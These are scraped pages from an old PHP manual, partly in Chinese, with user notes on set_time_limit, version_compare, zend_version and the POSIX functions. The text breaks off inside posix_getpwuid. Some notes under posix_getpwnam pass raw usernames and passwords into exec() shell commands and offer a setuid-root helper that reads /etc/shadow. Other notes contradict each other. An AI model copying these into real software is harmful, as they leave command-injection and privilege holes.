add a note add a note User Contributed Notes
warhog at warhog dot net
17-Dec-2005 12:54
I think the post below is useless here..

magic_quotes_runtime is not magic_quotes_gpc.. when magic_quotes_runtime is enabled (on, =1, true), then every function call working with some kind of database will return strings with slashes (like addslashes everytime you call such a function). magic_quotes_gpc instead is what is meant in the post below - and in fact, magic_quotes_runtime does not do anything to it. but if there existed some function like set_magic_quotes_gpc it would not do anything too, the reason is mentioned below..

so if you're searchin' for a way to turn off quotes_gpc than set the directive in the INI-File or with the help of the php_value-flag of mod_php, when php is compiled as an apache module, inside of an .htaccess-file (PERDIR-configuration). otherwise you really have to check wether quotes_gpc is enabled or not and than add addslashes or stripslashes as you need on the input-variables.

and as mentioned in the post below that one belows this one ( -.- ) magic_quotes_runtime is mostrly useless too..
tilman DOT schroeder AT gmx DOT de
11-May-2004 09:19
To php at nospam-qualystem dot com:

For your purposes it's easier to open the file in binary mode (fopen("file.txt","wb")) than setting magic_quotes_runtime to off ;)
php at nospam-qualystem dot com
09-Jan-2003 09:49
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.
yanshuldg at etang dot com
26-Mar-2002 06:42
set_magic_quote_runtime(1) is  very userful for copying data from one table to another table in mysql when there are many columns need addslashes
add a note add a note

后退 | 起点 | 前进
set_include_path | 上一级 | set_time_limit


set_time_limit

(PHP 3, PHP 4, PHP 5)

set_time_limit -- Limits the maximum execution time

Description

void set_time_limit ( int seconds )

Set the number of seconds a script is allowed to run. If this is reached, the script returns a fatal error. The default limit is 30 seconds or, if it exists, the max_execution_time value defined in the php.ini. If seconds is set to zero, no time limit is imposed.

When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

警告

set_time_limit() has no effect when PHP is running in 安全模式. There is no workaround other than turning off safe mode or changing the time limit in the php.ini.

注: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running.

See also: max_execution_time and max_input_time ini directives.

add a note add a note User Contributed Notes
konrads dot smelkovs at gmail dot com
01-Apr-2006 10:35
If you are streaming large data from database, it is counted towards the max exec time.
jatin at jatinchimote dot com
02-Mar-2006 02:54
If you set the number of seconds to a very large number (not many ppl do that, but just in case) then php exits with a fatal error like :

Fatal error: Maximum execution time of 1 second exceeded in /path/to/your/script/why.php
Cleverduck
01-Mar-2006 05:36
Regarding what 'nytshadow' said, it's important to realize that max-execution-time and the set_time_limit functions measure the time that the CPU is working on the script.  If the script blocks, IE: for input, select, sleep, etc., then the time between blocking and returning is NOT measured.  This is the same when running scripts from the command line interface.  So if you've got a log parser written in PHP that tails a file, that program WILL fail eventually.  It just depends how long it takes to read in enough input to process for 30 seconds.

If you're writing a command line script that should run infinitely, setting max-execution-time to 0 (never stop) is HIGHLY recommended.
rycardo74 at gmail dot com
25-Nov-2005 02:52
this work to fine html streaming AND time pass limit

<?
header('Content-type: text/plain');
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 1000; $i++)
{

   echo date("H:m:s"),"\n";
   for ($r = 0; $r < 100000; $r++){
   $X.=  tan(M_LNPI+log(ceil(  date("s")*M_PI*M_LNPI+100)));
   }
   ob_flush();
   flush();

}
echo "work! $x";
?>
Balin 4 ever
G8 = lies
free your mind
nytshadow
14-Jul-2005 11:15
This tripped me up for a bit until I read through the ini settings.  When doing file uploads, max_execution_time does not affect the time even though the error message indicates the script has exceeded the maximum execution time.  The max_input_time determines how much time PHP will wait to receive file data.  The default setting is 60 seconds so while I had my max_execution_time set to 300, the script would fail after 60 seconds but report that it had exceeded the max execution time of 300.
niam dot niam at gmail dot com chebatron at gmail dot com
24-Jun-2005 09:43
<?php
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 100; $i++)
{
   sleep(10);
   echo date("H:m:s"),"\n";
}
echo "Done!";
?>

Guys! This script runs 100*10 seconds +- few microseconds for circle and output.
But not promissed 30 seconds!!!
set_time_limit sets CPU time! Texted on *NIX.
Sjoerd van der Hoorn
21-Jun-2005 06:08
When using the set_time_limit() function, the browser will stop after about 30 seconds if it does not get new data. To prevent this, you can send every 10 seconds a little snippet of data (like a single character) to the browser. The code below is tested with both Internet Explorer and Firefox, so it will stay online all the time.

You should also create a file called chatdata.txt which contains the last thing said on a chatbox. Please note that you can also replace this function with a MySQL or other database function...

<?php

set_time_limit(900);

// Start output buffering
ob_start();

$message = "First test message";
$oldmessage = "bla";

// Keep on repeating this to prevent PHP from stopping the script
while (true)
{
   $timeoutcounter = 0;
   while ($message == $oldmessage)
   {
       // If 10 seconds elapsed, send a dot (or any other character)
       if ($timeoutcounter == 10)
       {
           echo ".";
           flush();
           ob_flush();
           $timeoutcounter = 0;
       }
       // Timeout executing
       sleep(1);
       // Check for a new message
       $message = file_get_contents("chatdata.txt");
       $timeoutcounter++;
   }

   // Keep the old message in mind
   $oldmessage = $message;

   // And send the message to the user
   echo "<script>window.alert(\"" . $message . "\");</script>";

   // Now, clear the output buffer
   flush();
   ob_flush();
}

?>
eric pecoraro at shepard com
06-Jun-2005 03:57
I was having trouble with script timeouts in applications where the user prompted long running background actions. I wrote this cURL/CLI background script that solved the problem when making requests from HTTP.

<?php

/* BACKGROUND CLI 1.0

   eric pecoraro _at_ shepard dot com - 2005-06-02
   Use at your own risk. No warranties expressed or implied.

   Include this file at the top of any script to run it in the background
   with no time limitations ... e.g., include('background_cli.php');

   The script that calls this file should not return output to the browser.
*/
#  REQUIREMENTS - cURL and CLI
   if ( !function_exists('curl_setopt') OR !function_exists('curl_setopt')  ) {
     echo 'Requires cURL and CLI installations.' ; exit ;
   }

#  BUILD PATHS
   $script = array_pop(explode('/',$SCRIPT_NAME)) ;
   $script_dir = substr($SCRIPT_NAME,0,strlen($SCRIPT_NAME)-strlen($script)) ;
   $scriptURL = 'http://'. $HTTP_HOST . $script_dir . "$script" ;
   $curlURL = 'http://'. $HTTP_HOST . $script_dir . "$script?runscript=curl" ;

#  Indicate that script is being called by CLI
   if ( php_sapi_name() == 'cli' ) {
     $CLI = true ;
   }

#  Action if script is being called by cURL_prompt()
   if ( $runscript == 'curl' ) {
     $cmd = "/usr/local/bin/php ".$PATH_TRANSLATED ; // server location of script to run
     exec($cmd) ;
     exit;
   }

#  USER INTERFACE
   // User answer after submission.
   if ( $post ) {
     cURL_prompt($curlURL) ;
     echo '<div style="margin:25px;"><title>Background CLI</title>';
     echo 'O.K. If all goes well, <b>'.$script.'</b> is working hard in the background with no ' ;
     echo 'timeout limitations. <br><br><form action='.$scriptURL.' method=GET>' ;
     echo '<input type=submit value=" RESET BACKGROUND CLI "></form></div>' ;
     exit ;
   }
   // Start screen.
   if ( !$CLI AND !$runscript ) {
     echo '<title>Background CLI</title><div style="margin:25px;">' ;
     echo '<form action='.$scriptURL.' method=POST>' ;
     echo 'Click to run <b>'.$script.'</b> from the PHP CLI command line, in the background.<br><br>' ;
     echo '<input type=hidden value=1 name=post>' ;
     echo '<input type=submit value=" RUN IN BACKGROUND "></form></div>' ;
     exit ;
   }

#  cURL URL PROMPT FUNCTION
   function cURL_prompt($url_path) {
     ob_start(); // start output buffer
     $c=curl_init($url_path);
     curl_setopt($c, CURLOPT_TIMEOUT, 2); // drop connection after 2 seconds
     curl_exec($c);
     curl_close($c);
     ob_end_clean(); // discard output buffer
   }
?>
Jimmy Wimenta
24-Sep-2004 03:15
Referring the the last 2 comments about whether the duration of sleep() will be counted in execution time, the answer is it depends on the platform. In Linux it does not, while in Windows it does.
nathan
06-Apr-2004 05:04
unless I am doing something stupid, my testing (at least on php 4.3.4) seems to indicate that sleep() does indeed count towards script execution time, contrary to the previous post.

Here is my test code:

for ($i=0; $i < 10; $i++) {
   sleep(10);
   echo " [$i] ";
}

This will exceed execution time after only 2 loops.
riki1512 at gmx dot de
02-Apr-2004 08:26
The duration of the pause when calling the sleep() function is also not added to script-execution time.
php at mightycpa.com
27-Jun-2003 04:30
You may also need to look at Apache's timeout setting (Win32 version for me), I changed max execution time value in php.ini, and still got stopped by Apache's timeout value in the httpd.conf file.
rsallo at gna dot NOSPAM dot es
30-May-2003 07:28
When you are working with IIS, PHP timeout is valid only when it's lower than script timeout defined by IIS.

IIS 5 has a default timeout of 300 seconds. If you need a higher timeout, you also have to change IIS properties. Otherwise, your server will stop your PHP script before it reaches its own timeout.
16-Oct-2001 08:04
user abort stop the script
see "ignore_user_abort"
add a note add a note

后退 | 起点 | 前进
set_magic_quotes_runtime | 上一级 | version_compare


version_compare

(PHP 4 >= 4.1.0, PHP 5)

version_compare -- Compares two "PHP-standardized" version number strings

Description

mixed version_compare ( string version1, string version2 [, string operator] )

version_compare() compares two "PHP-standardized" version number strings. This is useful if you would like to write programs working only on some versions of PHP.

version_compare() returns -1 if the first version is lower than the second, 0 if they are equal, and +1 if the second is lower.

The function first replaces _, - and + with a dot . in the version strings and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'. Then it splits the results like if you were using explode('.', $ver). Then it compares the parts starting from left to right. If a part contains special version strings these are handled in the following order: dev < alpha = a < beta = b < RC < pl. This way not only versions with different levels like '4.1' and '4.1.2' can be compared but also any PHP specific version containing development state.

If you specify the third optional operator argument, you can test for a particular relationship. The possible operators are: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne respectively. Using this argument, the function will return TRUE if the relationship is the one specified by the operator, FALSE otherwise.

注: PHP_VERSION constant holds current PHP version.

例子 1. version_compare() example

<?php
// prints -1
echo version_compare("4.0.4", "4.0.6");

// these all print 1
echo version_compare("4.0.4", "4.0.6", "<");
echo version_compare("4.0.6", "4.0.6", "eq");
?>

add a note add a note User Contributed Notes
arnoud at procurios dot nl
29-Sep-2004 05:28
If you're careful, this function actualy works quite nicely for comparing version numbers from programs other than PHP itself. I've used it to compare MySQL version numbers. The only issue is that version_compare doesn't recognize the 'gamma' addition that mysql uses as being later than 'alpha' or 'beta', because the latter two are treated specially. If you keep this in mind though, you should have no problems.
mina86 at tlen dot pl
01-Jul-2004 10:40
Here's a wrapper which is more tolerant as far as order of arguments is considered:

<?php
function ver_cmp($arg1, $arg2 = null, $arg3 = null) {
  static $phpversion = null;
  if ($phpversion===null) $phpversion = phpversion();

  switch (func_num_args()) {
  case 1: return version_compare($phpversion, $arg1);
  case 2:
   if (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg1))
     return version_compare($phpversion, $arg2, $arg1);
   elseif (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg2))
     return version_compare($phpversion, $arg1, $arg2);
   return version_compare($arg1, $arg2);
  default:
   $ver1 = $arg1;
   if (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg2))
     return version_compare($arg1, $arg3, $arg2);
   return version_compare($arg1, $arg2, $arg3);
  }
}
?>

It also uses phpversion() as a default version if only one string is present. It can make your code look nicer 'cuz you can now write:
<?php if (ver_cmp($version1, '>=', $version2)) something; ?>
and to check a version string against the PHP's version you might use:
<?php if (ver_cmp('>=', $version)) something; ?>
instead of using phpversion().
aidan at php dot net
26-Jun-2004 06:02
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
eric at themepark dot com
22-Jun-2004 12:50
so in a nutshell... I believe it works best like this:

<?php
if (version_compare(php_version(), "4.3.0", ">=")) {
  // you're on 4.3.0 or later
} else {
  // you're not
}
?>
sam at wyvern dot non-spammers-remove dot com dot au
24-May-2004 02:18
Actually, it works to any degree:

<?php
version_compare('1.2.3.4RC7.7', '1.2.3.4RC7.8')
version_compare('8.2.50.4', '8.2.52.6')
?>

will both give -1 (ie the left is lower than the right).
add a note add a note

后退 | 起点 | 前进
set_time_limit | 上一级 | zend_logo_guid


zend_logo_guid

(PHP 4, PHP 5)

zend_logo_guid -- Gets the Zend guid

Description

string zend_logo_guid ( void )

This function returns the ID which can be used to display the Zend logo using the built-in image.

例子 1. zend_logo_guid() example

<?php

echo '<img src="' . $_SERVER['PHP_SELF'] .
     '?=' . zend_logo_guid() . '" alt="Zend Logo !" />';

?>

See also php_logo_guid().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
version_compare | 上一级 | zend_version


zend_version

(PHP 4, PHP 5)

zend_version -- Gets the version of the current Zend engine

Description

string zend_version ( void )

Returns a string containing the version of the currently running Zend Engine.

例子 1. zend_version() example

<?php
// prints e.g. 'Zend engine version: 1.0.4'
echo "Zend engine version: " . zend_version();
?>

See also phpinfo(),
phpcredits(),
php_logo_guid(), and
phpversion().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_logo_guid | 上一级 | POSIX Functions


POSIX Functions

PHP 手册
后退 前进

CX. POSIX Functions

简介

This module contains an interface to those functions defined in the IEEE 1003.1 (POSIX.1) standards document which are not accessible through other means. POSIX.1 for example defined the open(), read(), write() and close() functions, too, which traditionally have been part of PHP 3 for a long time. Some more system specific functions have not been available before, though, and this module tries to remedy this by providing easy access to these functions.

警告

Sensitive data can be retrieved with the POSIX functions, e.g. posix_getpwnam() and friends. None of the POSIX function perform any kind of access checking when safe mode is enabled. It's therefore strongly advised to disable the POSIX extension at all (use --disable-posix in your configure line) if you're operating in such an environment.

注: 本扩展模块在 Windows 平台下不可用。

安装

POSIX functions are enabled by default. You can disable POSIX-like functions with --disable-posix.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

POSIX_F_OK (integer)

Check whether the file exists.

POSIX_R_OK (integer)

Check whether the file exists and has read permissions.

POSIX_W_OK (integer)

Check whether the file exists and has write permissions.

POSIX_X_OK (integer)

Check whether the file exists and has execute permissions.

POSIX_S_IFBLK (integer)

Block special file

POSIX_S_IFCHR (integer)

Character special file

POSIX_S_IFIFO (integer)

FIFO (named pipe) special file

POSIX_S_IFREG (integer)

Normal file

POSIX_S_IFSOCK (integer)

Socket

注: These constants are available since PHP 5.1.0. Please also note that some of them may not be available in your system.

参见

The section about Process Control Functions maybe of interest for you.

目录
posix_access -- Determine accessibility of a file
posix_ctermid -- Get path name of controlling terminal
posix_get_last_error -- Retrieve the error number set by the last posix function that failed
posix_getcwd -- Pathname of current directory
posix_getegid -- Return the effective group ID of the current process
posix_geteuid -- Return the effective user ID of the current process
posix_getgid -- Return the real group ID of the current process
posix_getgrgid -- Return info about a group by group id
posix_getgrnam -- Return info about a group by name
posix_getgroups -- Return the group set of the current process
posix_getlogin -- Return login name
posix_getpgid -- Get process group id for job control
posix_getpgrp -- Return the current process group identifier
posix_getpid -- Return the current process identifier
posix_getppid -- Return the parent process identifier
posix_getpwnam -- Return info about a user by username
posix_getpwuid -- Return info about a user by user id
posix_getrlimit -- Return info about system resource limits
posix_getsid -- Get the current sid of the process
posix_getuid -- Return the real user ID of the current process
posix_isatty -- Determine if a file descriptor is an interactive terminal
posix_kill -- Send a signal to a process
posix_mkfifo -- Create a fifo special file (a named pipe)
posix_mknod -- Create a special or ordinary file (POSIX.1)
posix_setegid -- Set the effective GID of the current process
posix_seteuid -- Set the effective UID of the current process
posix_setgid -- Set the GID of the current process
posix_setpgid -- Set process group id for job control
posix_setsid -- Make the current process a session leader
posix_setuid -- Set the UID of the current process
posix_strerror -- Retrieve the system error message associated with the given errno
posix_times -- Get process times
posix_ttyname -- Determine terminal device name
posix_uname -- Get system name

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_version | 上一级 | posix_access


posix_access

(PHP 5 >= 5.1.0RC1)

posix_access -- Determine accessibility of a file

说明

bool posix_access ( string file [, int mode] )

posix_access() checks the user's permission of a file.

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

参数

file

The name of the file to be tested.

mode

A mask consisting of one or more of POSIX_F_OK, POSIX_R_OK, POSIX_W_OK and POSIX_X_OK. Defaults to POSIX_F_OK.

POSIX_R_OK, POSIX_W_OK and POSIX_X_OK request checking whether the file exists and has read, write and execute permissions, respectively. POSIX_F_OK just requests checking for the existence of the file.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. posix_access() example

This example will check if the $file is readable and writable, otherwise will print an error message.

<?php

$file = 'some_file';

if (posix_access($file, POSIX_R_OK | POSIX_W_OK)) {
    echo 'The file is readable and writable!';

} else {
    $error = posix_get_last_error();

    echo "Error $error: " . posix_strerror($error);
}

?>

参见

posix_get_last_error()
posix_strerror()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
POSIX Functions | 上一级 | posix_ctermid


posix_ctermid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_ctermid -- Get path name of controlling terminal

Description

string posix_ctermid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_access | 上一级 | posix_get_last_error


posix_get_last_error

(PHP 4 >= 4.2.0, PHP 5)

posix_get_last_error -- Retrieve the error number set by the last posix function that failed

Description

int posix_get_last_error ( void )

Returns the errno (error number) set by the last posix function that failed. If no errors exist, 0 is returned. If you're wanting the system error message associated with the errno, use posix_strerror().

See also posix_strerror().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_ctermid | 上一级 | posix_getcwd


posix_getcwd

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_getcwd -- Pathname of current directory

Description

string posix_getcwd ( void )

posix_getcwd() returns the absolute pathname of the script's current working directory. posix_getcwd() returns FALSE on error.

add a note add a note User Contributed Notes
phpmanual-getcwd at devin dot com
27-Jul-2000 09:39
From the GNU getcwd(3) manpage, paraphrased: returns the absolute pathname of the current working directory.  Fails when the current directory is not eradable.  Complies with POSIX.1 spec.
add a note add a note

后退 | 起点 | 前进
posix_get_last_error | 上一级 | posix_getegid


posix_getegid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getegid -- Return the effective group ID of the current process

Description

int posix_getegid ( void )

Return the numeric effective group ID of the current process. See also posix_getgrgid() for information on how to convert this into a useable group name.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getcwd | 上一级 | posix_geteuid


posix_geteuid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_geteuid -- Return the effective user ID of the current process

Description

int posix_geteuid ( void )

Return the numeric effective user ID of the current process. See also posix_getpwuid() for information on how to convert this into a useable username.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getegid | 上一级 | posix_getgid


posix_getgid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getgid -- Return the real group ID of the current process

Description

int posix_getgid ( void )

Return the numeric real group ID of the current process. See also posix_getgrgid() for information on how to convert this into a useable group name.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_geteuid | 上一级 | posix_getgrgid


posix_getgrgid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_getgrgid -- Return info about a group by group id

Description

array posix_getgrgid ( int gid )

Returns an array of information about a group and FALSE on failure. If gid isn't a number then NULL is returned and an E_WARNING level error is generated.

例子 1. Example use of posix_getgrgid()

<?php

$groupid   = posix_getegid();
$groupinfo = posix_getgrgid($groupid);

print_r($groupinfo);

?>

An example output:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

注: As of PHP 4.2.0, members is returned as an array of member usernames in the group. Before this time it was simply an integer (the number of members in the group) and the member names were returned with numerical indices.

See also posix_getegid(),
filegroup(),
stat(), and
safe_mode_gid.

add a note add a note User Contributed Notes
james at jfc dot org dot uk
17-Apr-2003 02:21
in php-4.3 the array returned seems to have changed.

it now returns:

["name"] group name
["passwd"] group password
["members"] group members (array of usernames)
["gid"] numeric group id
tech at dslip dot com dot au
13-May-2002 09:27
okies...

This code should be considered as an OPTION only, it works under MY set of circumstances, and that is all I intended. The below funtion will return the NAME of the GROUP if provided with the Group ID#

  function RC_posix_getgrgid($gid)
   {
   $LocationGroup = "/etc/group"; //EDIT THIS IF YOU HAVE A DIFFERENT OS. mine = debian
   $fp = fopen ("/etc/group","r");
   while ($groupinfo = fscanf ($fp, "%[a-zA-Z0-9]:x:%[0-9]:%[a-zA-Z0-9]\n"))
       {
       list ($name, $groupID, $nfi) = $groupinfo;
       if ($groupID == $gid)
           {
           $returnval = $name;
           }
       }
   fclose($fp);
   if($returnval) { return $returnval; } else { return 0; }
   }
rcgraves+php at brandeis dot edu
22-Feb-2000 10:10
Returns an array containing the elements of the group structure. The array has both numeric indices, each of which is a string naming one member of the group, and named string indices. The array elements are:
<pre>
$_["name"]  string groupname (users)
$_["gid"] integer gidnumber (e.g. 0 for wheel/root)
$_["members"] int number of users in group
$_[0]..$_[n] string usernames in the group
</pre>
add a note add a note

后退 | 起点 | 前进
posix_getgid | 上一级 | posix_getgrnam


posix_getgrnam

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_getgrnam -- Return info about a group by name

Description

array posix_getgrnam ( string name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
rcgraves+php at brandeis dot edu
22-Feb-2000 11:36
Returns same array as getgrgid; you just call it by name rather than number.
add a note add a note

后退 | 起点 | 前进
posix_getgrgid | 上一级 | posix_getgroups


posix_getgroups

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getgroups -- Return the group set of the current process

Description

array posix_getgroups ( void )

Returns an array of integers containing the numeric group ids of the group set of the current process. See also posix_getgrgid() for information on how to convert this into useable group names.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getgrnam | 上一级 | posix_getlogin


posix_getlogin

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_getlogin -- Return login name

Description

string posix_getlogin ( void )

Returns the login name of the user owning the current process. See posix_getpwnam() for information how to get more information about this user.

add a note add a note User Contributed Notes
philip
10-Feb-2004 10:31
Note that this function returns the owner that the process *started* as.  Even if you call posix_setuid (or posix_seteuid) it will still report the username the process started as.

use get_current_user() to get the effective real user.
add a note add a note

后退 | 起点 | 前进
posix_getgroups | 上一级 | posix_getpgid


posix_getpgid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getpgid -- Get process group id for job control

Description

int posix_getpgid ( int pid )

Returns the process group identifier of the process pid.

This is not a POSIX function, but is common on BSD and System V systems. If your system does not support this function at system level, this PHP function will always return FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getlogin | 上一级 | posix_getpgrp


posix_getpgrp

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getpgrp -- Return the current process group identifier

Description

int posix_getpgrp ( void )

Return the process group identifier of the current process. See POSIX.1 and the getpgrp(2) manual page on your POSIX system for more information on process groups.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getpgid | 上一级 | posix_getpid


posix_getpid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getpid -- Return the current process identifier

Description

int posix_getpid ( void )

Return the process identifier of the current process.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getpgrp | 上一级 | posix_getppid


posix_getppid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getppid -- Return the parent process identifier

Description

int posix_getppid ( void )

Return the process identifier of the parent process of the current process.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getpid | 上一级 | posix_getpwnam


posix_getpwnam

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_getpwnam -- Return info about a user by username

Description

array posix_getpwnam ( string username )

Returns an associative array containing information about a user referenced by an alphanumeric username, passed in the username parameter.

The array elements returned are:

表格 1. The user information array

Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not her real, full name. This should be the same as the username parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID of the user in numeric form.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

add a note add a note User Contributed Notes
bau at kg-fds dot de
19-Feb-2006 01:29
Oh I forgot the following:

to change a Users password via PHP,
you can use the following (under Linux with installed Samba):

exec('echo -e "'.$oldpassword.'\n'.$newpassword.'\n'.$newpassword.'
"|smbpasswd -U'.$user.' -s')

The exec-command returns ""
if an error occured (then see the error_log of the web-server)
or a message "The password has been changed".

Good luck.
Baumgrtner
bau at kg-fds dot de
19-Feb-2006 01:22
Hello, I've tried another, more easier way to check passwords than checking it to a pop3-server. If you are running a samba-server or a Windows PDC, so you can try to connect with the username/password you want to check to the netlogon of this server:

if (exec('echo "exit"|smbclient //server/netlogon -U'.$user.' '.$pass)=="") { ... }

If the username/password doesn't match, then the exec-command under LINUX returns an error.

Good luck
Baumgrtner
bau at kg-fds dot de
15-Feb-2006 03:24
If you are running a pop3-daemon, so you can do authentification on pop3 by using fsockopen :-) and checking whether it returns +OK or -ERR
corychristison at lavacube dot net
17-Oct-2004 07:33
For those of you who are writing daemons with PHP and are one for security. This function will not return any info if you have called PHP's chroot() function.

Took me a few minutes why it wouldn't find the user it was searching for.
30-Jun-2004 08:48
Use the PHP PAM module
http://www.math.ohio-state.edu/~ccunning/pam_auth/
marcus at nospamsynchromedia dot co dot uk
24-Aug-2002 04:12
Given a non-existent username, this function returns a boolean FALSE.
perreal at lyon dot cemagref dot fr
18-Apr-2002 11:47
To check passwords on a Unix-box, look at the mod_auth_external module for Apache, it uses external programs to do the real job. The server won't ever read the encrypted password.

One of them, pwauth, can be configured to use PAM or whatever is used on your system. Users that can run this program are configured at compile time. And this program can be called from PHP with exec(...).
vision_1967 at hotmail dot com
21-Nov-2001 03:23
I needed to get access to the user information to do login/validation via an SSL connection and encountered the same problem with receiving '*' in the password field.  After checking the documentation on posix_getpwnam, I saw a previous solution involving coding a C program.  This was a bit bulky for me so I came up with my own solution.

Variations on this theme can probably be done to make the solution more programmer/reader friendly, but the way I did it accomplished the task that I needed to do.

IF the information you need to get from posix_getpwnam comes from a host participating in an NIS network, you can accomplish the same thing with the following command:

$autharray = split(":",`ypmatch $USER passwd`);

(pretty long explanation for such a short solution huh?)

You'll have to get at the fields by their index number ($autharray[0], $autharray[1], ...) using this method.

To create an associative array that is plug-in compatible with the posix_getpwnam function,  you'll probably need to use the 'list' specifier to do the assignments.

I hope this helps someone.

--S
darryl at pointclark dot net
18-Oct-2001 01:43
If you need to validate a *real* unix password on a system using shadowed passwords, the posix_getpwnam() function in PHP won't work (as mentioned, 'x', or '*', will be in the password field).

I have a need to verify a user/pass within PHP (using SSL!).  I don't know if this is the best way, but it's what I'm doing at the moment (works well!).

First, you need some help from the OS.  I wrote a tiny C utility that does the shadow look-up for me... It requires root access to read /etc/shadow.  So after you compile (gcc -O2 -s -o spasswd -lcrypt spasswd.c), you need to either use sudo to run it, or

# chown root spasswd && chmod u+s spasswd

To code that I'm using to authenticate a user/pass from PHP looks like:

function Authenticate($realm)
{
 global $PHP_AUTH_USER;
 global $PHP_AUTH_PW;

 if(!isset($PHP_AUTH_USER))
 {
  header("WWW-Authenticate: Basic realm=\"$realm\"");
  header("HTTP/1.0 401 Unauthorized");

  return false;
 }
 else
 {
  if(($fh = popen("/usr/sbin/spasswd", "w")))
  {
   fputs($fh, "$PHP_AUTH_USER $PHP_AUTH_PW");
   $r = pclose($fh);

   if(!$r)
   return true;
  }
 }

 header("WWW-Authenticate: Basic realm=\"$realm\"");
 header("HTTP/1.0 401 Unauthorized");

 return false;
}

The C source for spasswd.c:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <shadow.h>

static char salt[12], user[128], pass[128];

void die(void)
{
 memset(salt, '\0', 12);
 memset(user, '\0', 128);
 memset(pass, '\0', 128);
}

int main(int argc, char *argv[])
{
 struct spwd *passwd;

 atexit(die); die();

 if(fscanf(stdin, "%127s %127s", user, pass) != 2)
  return 1;

 if(!(passwd = getspnam(user)))
  return 1;

 strncpy(salt, passwd->sp_pwdp, 11);
 strncpy(pass, crypt(pass, salt), 127);

 if(!strncmp(pass, passwd->sp_pwdp, 127))
  return 0;

 return 1;
}

Hope this helps someone...
sezery at damla dot net
04-Oct-2001 05:09
User and group functions do not work on recent Redhat systems since these functions are based on /etc/group file but new redhat does not put group members' list into this file. Instead you need to examine /etc/passwd file and find members of a group by checking group id.
rcgraves+php at brandeis dot edu
22-Feb-2000 11:35
Returns same array as posix_getpwuid; you just give it the name rather than number.
add a note add a note

后退 | 起点 | 前进
posix_getppid | 上一级 | posix_getpwuid


posix_getpwuid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_getpwuid -- Return info about a user by user id

Description

array posix_getpwuid ( int uid )

Returns an associative array containing information about a user referenced by a numeric user ID, passed in the uid parameter.

The array elements returned are:

表格 1. The user information array

Element | Description
